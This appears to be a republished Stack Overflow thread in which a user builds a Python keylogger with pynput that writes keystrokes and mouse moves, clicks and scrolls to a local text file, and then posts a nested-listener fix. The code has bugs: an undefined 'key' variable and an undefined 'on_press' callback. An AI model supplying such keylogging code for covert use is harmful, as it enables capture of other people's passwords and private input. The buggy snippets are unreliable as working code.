'Keylogger With mouse listening

I want to make a keylogger in Python that listens to the keyboard and at the same time listens to the mouse (simultaneously), the problem is that no matter what I try to do ,separately each of them works well but together it just does not work for me.

This is the code I made for the mouse listener:

from pynput.mouse import Listener
from pynput import keyboard

def writetofile(x,y):
    with open('keys.txt', 'a') as file:
        file.write('position of mouse: {0}\n'.format((x,y)))
        
def on_click(x, y, button, pressed):
    if pressed:
        with open('keys.txt', 'a') as file:
            file.write('Mouse clicked at ({0}, {1}) with {2}'.format(x, y, button))

def on_scroll(x, y, dx, dy):
    with open('keys.txt', 'a') as file:
        file.write('Mouse scrolled at ({0}, {1})({2}, {3})'.format(x, y, dx, dy))       

with Listener(on_move=writetofile,on_click=on_click, on_scroll=on_scroll) as file:
    file.join()    

And this is my keyboard listener:

def write_keys_to_file(keys):
    with open('keys.txt', 'a') as file:
            key = str(key).replace("'", "")
            file.write(key)

with Listener(on_press = write_keys_to_file) as listener:
    listener.join()


Would appreciate help . Thanks in advance .



Solution 1:[1]

I found the solution to my problem,had to do it this way:

from pynput.keyboard import Listener  as KeyboardListener
from pynput.mouse    import Listener  as MouseListener

def writetofile(x,y):
    with open('keys.txt', 'a') as file:
        file.write('position of mouse: {0}\n'.format((x,y)))
        
def on_click(x, y, button, pressed):
    if pressed:
        with open('keys.txt', 'a') as file:
            file.write('Mouse clicked at ({0}, {1}) with {2}'.format(x, y, button))

def on_scroll(x, y, dx, dy):
    with open('keys.txt', 'a') as file:
        file.write('Mouse scrolled at ({0}, {1})({2}, {3})'.format(x, y, dx, dy))
       
def write_keys_to_file(keys):
    with open('keys.txt', 'a') as file:
            key = str(key).replace("'", "")
            file.write(key)

with MouseListener(on_move = writetofile,on_click=on_click, on_scroll=on_scroll) as listener:
    with KeyboardListener(on_press=on_press) as listener:
        listener.join()  

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Michael ilkanayev